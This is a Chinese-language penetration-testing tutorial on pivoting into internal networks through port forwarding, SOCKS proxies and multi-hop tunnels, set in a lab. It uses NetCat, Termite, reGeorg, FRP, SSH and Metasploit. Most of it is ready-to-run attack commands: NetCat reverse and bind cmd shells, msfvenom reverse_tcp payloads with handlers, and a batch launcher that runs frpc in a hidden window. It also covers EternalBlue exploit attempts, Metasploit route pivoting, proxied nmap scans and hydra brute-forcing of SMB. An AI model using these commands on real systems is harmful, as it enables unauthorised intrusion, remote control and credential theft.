利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:

  • SOCKS4支持TELNET、FTP、HTTP等TCP协议;
  • SOCKS5支持TCP与UDP,并支持安全认证方案

代理一般分为正向代理和反向代理两类:

正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。

反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。

  • 端口转发工具:NC、LCX、regGorg、venom、ngrock…
  • 代理链工具:proxychains(Linux)、proxifier(windows)...

一、端口代理工具

1.LCX

LCX的使用方法传送门:Hash读取与端口转发

2.NetCat

NetCat,简称NC。除开端口转发以下还对NC的端口探测、文件传输、通信功能做了简单的演示。NetCat 官方地址:

http://netcat.sourceforge.net/

2.1 端口转发

正向连接场景:目标防火墙不阻止外来流量。绑定本地的cmdshell在服务器的端口上然后本地去连接:

①服务器(192.168.1.98)执行命令将cmdshell绑定在本地5555端口上

nc -l -p 5555 -t -e cmd.exe
# -t是通过telnet模式执行 cmd.exe 程序,可省略

②在内网主动连接服务器的5555端口,可直接获取目标的cmdshell

nc -nvv 192.168.1.98 5555

反向连接场景:目标设备在内网,防火墙阻止外来流量。绑定服务器的cmdshell并反向连接到vps(192.168.1.4)的TCP端口

①vps开启监听

nc -lp 5555

②服务器内网链接vps 5555端口,主动交出自己的cmdshell

nc -t -e cmd.exe 192.168.1.4 5555

2.2 端口探测

NC可以作为客户端工具对目标进行端口探测:

nc -vz -w 2 192.168.1.10 9999
# -v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字

使用NC工具批量探测服务器连续端口:

2.3 文件传输

正向传输:服务器先侦听端口,本地向服务器所在机器的该端口发送数据

#服务器启动监听,将9995端口接收到的数据都写到test文件里
nc -l -p 9995 > test
#本地往服务器的9995端口发送数据
nc 192.168.1.4 9995 < 1.txt

② 反向传输:本地启动文件发送命令,服务器主动连接下载文件

#本地启动文件发送命令,通过9992端口发送文件
nc -l -p 9992 < 1.php

#服务器执行命令下载192.168.1.10:9992端口文件,并把文件存到当前目录文件夹2.php
nc 192.168.1.10 9992 >2.php

vps本地监听,服务器连接vps可以将文件下载到本地。可利用此特性躲避防火墙。

2.4 NC通信

#开启监听
nc -l -p 12345
#连接。形成不加密聊天室
nc 192.168.1.10 12345

3.Termite工具

#软件作者教学视频:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
http://rootkiter.com/toolvideo/toolmp4/5file.mp4
#项目地址: 
http://rootkiter.com/Termite

Termite是一款极度小巧灵活的跳板机。程序分为两部分,admin(控制端)和agent(代理端节点),admin和agent所有选项用途均一致:

 -l 指定本地socks端口,等待远程连接
 -c 指定远程socks机器ip
 -p 指定远程socks机器端口

3.1 本地模拟环境

最终目的:通过Termite工具代理使物理机灵活穿梭于目标内网(目前物理机只能和win08桥接网卡通信)

3.2 正向连接

①win08本地监听

agent_win32.exe -l 6666

②win 7 本地监听

agent_win32.exe -l 7777

③xp 本地监听

agent_win32.exe -l 8888

④物理机连接win08

admin_Win32.exe -c 192.168.1.10 -p 6666

⑤通过域win08建立的隧道连接win 7

#连接win08成功后查看连接的隧道会话
show
#进入08的会话
goto 1
#连接win 7
connect 192.168.106.129 7777

⑥连接XP

#进去win7的会话
goto 2
#连接xp
connect 169.254.228.204 8888

⑦成功建立隧道。开始执行命令:

命令一:文件上传

# 传送文件。将本地c:\unintall.log文件传送到目标服务器命名为1.txt
goto 5
upfile c:\unintall.log 1.txt

命令二:调用shell

#调用shell,将目标机器cmd shell转发到本地12345端口
shell 12345 
#nc连接,得到cmdshell
nc 127.0.0.1 12345

命令三:端口转发

#端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
lcxtran 1189 192.168.1.10 3389
#socket代理
#配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
socks 1080

3.3 反向连接

#win7保持监听agent_Win32.exe -l 7777#xp反向连接到win7agent_Win32.exe -c 169.254.75.233 -p 7777#win8保持监听agent_Win32.exe -l 6666#win7反向连接08agent_Win32.exe -c 192.168.106.128 -p 6666#此时xp、win7都已经主动上交了权限,物理机控制08就可以直接建立隧道admin_Win32.exe -c 192.168.1.10 -p 6666#反向连接用户穿透防火墙

4.venom工具

使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。venom工具使用方法传送门:使用Venom多级代理工具穿透内网

5.reGeorg+Proxychains

项目地址:https://github.com/sensepost/reGeorg

5.1 上传脚本

上传脚本文件到服务器,访问地址出现“Georg says, ‘All seems fine’”表示脚本正常运行。本地测试php脚本不能正常运行

5.2 进行转发

python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx

确认端口开启:

5.3 修改socket代理端口

vi /etc/proxychains.conf
#修改代理端口为12345

5.4 远程连接

使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。这里是直接3389上去的

proxychains rdesktop 192.168.1.10

6.ngrock

MSF配合Ngrock穿透内网

7.FRP

#项目地址https://github.com/fatedier/frp/releases#frpc客户端,frps服务端

#实验环境
kali:192.168.1.3
win08:192.168.1.10

7.1 正向代理

7.1.1 服务端设置

①下载安装

wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz
tar -zxvf frp_0.33.0_darwin_amd64.tar.gz

②配置frps.ini文件

[common]
bind_port = 7000
dashboard_port = 7500
token = 123.com
dashboard_user = admin
dashboard_pwd = admin
  • bind_port表示用于客户端和服务端连接的端口
  • dashboard_port是服务端仪表板的端口
  • token是用于客户端和服务端连接的口令
  • dashboard_user、dashboard_pwd分别表示打开仪表板页面登录的用户名和密码

③运行开启监听

./frps -c ./frps.ini
#也可以使用nohup命令将其运行在后台
nohup ./frps -c frps.ini &


      7.1.2 客户端设置

①服务端监听成功之后,目标内网设备执行frp进行主动连接:编辑frpc.ini,修改配置

[common]
#服务端IP
server_addr = 192.168.1.3  
#服务端端口
server_port = 7000          
#token值
token = 123.com

[rdp]
type = tcp
local_ip = 127.0.0.1           
local_port = 3389
remote_port = 7001

[smb]
type = tcp
local_ip = 127.0.0.1
local_port = 445
remote_port = 7002

②运行连接

cd C:\frp
frpc.exe -c frpc.ini

也可以直接使用批处理文件运行:

@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREMcd C:\frpfrpc.exe -c frpc.iniexit

③成功建立连接

通过配置已经将内网的3389端口转发到vps的7001端口。此时远程连接vps的7001即可远程连接内网的3389主机:

7.2 反向代理

#环境kali:192.168.109.128Win2008:192.168.1.10vps:x.x.x.x

①服务端配置

#frp服务端与客户端连接端口,frps和frpc必须一致
bind_port = 7000

②服务端启动frp

 ./frps -c ./frps.ini

③客户端frpc.ini文件配置

[common]
server_addr = x.x.x.x     #你的云主机ip
server_port = 7000        # frpc工作端口,必须和上面frps保持一致

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5000            #转发给本机的5000
remote_port = 6000         #服务端用6000端口转发给本机 

④启动客户端

 ./frpc -c ./frpc.ini

⑤连接成功

⑥msf生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 x-f exe x>frp.exe
#注意:
lhost:必需设置为vps服务端ip
lport:设置你在frpc.ini的remote_port = 6000

只有通过服务器的6000端口数据包才能成功转发kali,这也是使用frp反向代理原因

⑦msf开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1#设置监听ip,必须和frpc中的local_ip 一致
set lport 5000 #设置监听端口,与frpc中的local_port一致
run

⑧靶机运行payload,msf上线。此时云主机显示连接信息:

msf上线效果:

#参考文章:
https://blog.csdn.net/qq_38228830/article/details/85955955

二、SSH代理穿透内网


①假设kali无法访问Win08(实际kali为nat模式是可以访问所有网段的)

②利用红帽进行端口转发使kali能够访问到Windows 2008

1.SSH正向代理

①kali(192.168.198.128)连接红帽192.168.198.131,同时将内网主机192.168.1.10的8001端口转发到本地kali 192.168.198.128 的8001端口上

ssh -L 192.168.198.128:8001:192.168.1.10:8001 root@192.168.198.131 -p 22
#-L后面的IP是kali本地IP,可省略不写
#当跳板机红帽的ssh端口为默认端口22时,也可省略不写
#需要知道红帽的账号及密码

②转发成功,这样kali在访问本机的8001端口,通过SSH服务器红帽端口转发后,实际访问的就是服务器Windows2008的8001端口。注意,在进行转发的时候语句L后面的IP省略不写,那么访问127.0.0.1:8001即可,如果写了IP,就必须访问IP地址:192.168.198.128:8001

2.ssh反向代理

将kali本地端口镜像转发到红帽,所有访问SSH服务器(红帽)的镜像端口即是访问kali的端口。

① kali开启80 http服务

/etc/init.d/apache2 start

②kali连接红帽。把kali(192.168.198.128:80)端口映射给ssh服务器(红帽192.168.198.131)8001端口

ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22
#如果SSH服务器默认ssh端口为22,则"-p 22"可省略
#需要知道红帽的账号及密码

③成功把kali的http 端口转发和红帽的8001端口


此时的红帽127.0.0.1:8080已经是kali的http服务

④这里将kali的80端口转发到红帽的8001上,但是只监听在127.0.0.1上,内网其他主机仍然无法访问。还需要继续转发,将127.0.0.1:8001转发到192.168.106.131:8001

3.ssh配置socket代理

①kali连接红帽

ssh -D 8081 root@192.168.198.131 -p 22

②连接成功,此时kali已经开启8081 socket代理端口:

③修改代理端口

vi /etc/proxychains.conf
#修改代理端口为8081

④使用proxychain 来扫描socket代理的内网

proxychains nmap 192.168.1.1/24
#使用proxychains工具驱动nmap扫描内网。通过socks代理扫描到本身扫描不到的内网网段

通与不通就缺了一个socks代理,我太爱proxychains了

三、MSF穿越多级网络


①生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe

②建立监听,返回会话

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 1122
run

③发现存在75网段,对该网段进行纵向渗透。添加192.168.75.x段网段静态路由

run autoroute -s 192.168.75.0/24

④对192.168.75.x网段进行主机存活扫描,此时在MSF各个模块已经可以访问75网段

run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24

⑤挂起当前会话,对目标win7(192.168.75.131)进行攻击

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.131
#因为直连没有返回的流量所以不能用默认的reverse payload。
#直连是在目标上面开一个端口然后本地去连接
set payload windows/x64/meterpreter/bind_tcp 
run

漏洞利用失败。为了加强效果节目效果专门搞了个XP

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.132
set payload windows/meterpreter/bind_tcp 
run

漏洞依然利用失败,放弃。

MSF端口扫描模块

#对75网段进行全端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.75.131
set ports 1-65535
setg threads 50
run

这个端口扫描模块耗时比较长且效果远不如nmap

⑥本地设置socket代理,目的是让MSF以外的工具也能与目标内网连接。前面添加了路由,使msf中的所有模块可以用meterpreter作为代理访问到192.168.75.x段。现在开启sockets4代理,然后配合proxychains盘活kali里面除MSF以外的其他工具。利用挂起的会话建立代理:

use auxiliary/server/socks4a 
set srvhost 127.0.0.1
set rport 1080 #注意避免端口冲突
run

查看端口,成功启用代理:

配置代理

vi /etc/proxychains.conf
socks4  127.0.0.1 1080

配置完成后即可使用proxychains配合其他工具对目标进行下一步渗透。socks4版本协议不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

Nmap扫描

#nmap扫描
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131

proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131


纵向渗透

如果拿下75网段shell且发现目标有也存在双网卡,假如存在76网段,此时可以继续添加静态路由,进一步纵向渗透。此时:

#配置路由
run autoroute -s 192.168.76.0/24
#验证能否连接
run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/2

#设置代理
use auxiliary/server/socks4a 
set srvhost 127.0.0.1
set srvport 1081  #注意避免端口冲突
run

# 配置代理,要在1080端口下面再配置一个socket代理子啊1081端口上
vi /etc/proxychains.conf
socks4  127.0.0.1 1080
socks4  127.0.0.1 1081

#nmap扫描,这里建立了两层链路。从127.0.0.1:1080>127.0.0.1:1081>192.168.76.*
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24

建立socks会话后,利用proxychains工具驱动其他软件可以对网段扫描、爆破、嗅探、漏洞探测及利用。进行横向渗透。也可以直接用msf里面的模块直接渗透(msf不需要proxychains驱动)

Hydra爆破

proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb

爆破成功后,将远程目标机的端口转发到本地攻击

①.端口转发

portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389

②.远程连接

rdesktop 192.168.1.5:33890

也可以不使用端口转发直接连接:

 #linux远程登录 proxychains ssh root@192.168.75.13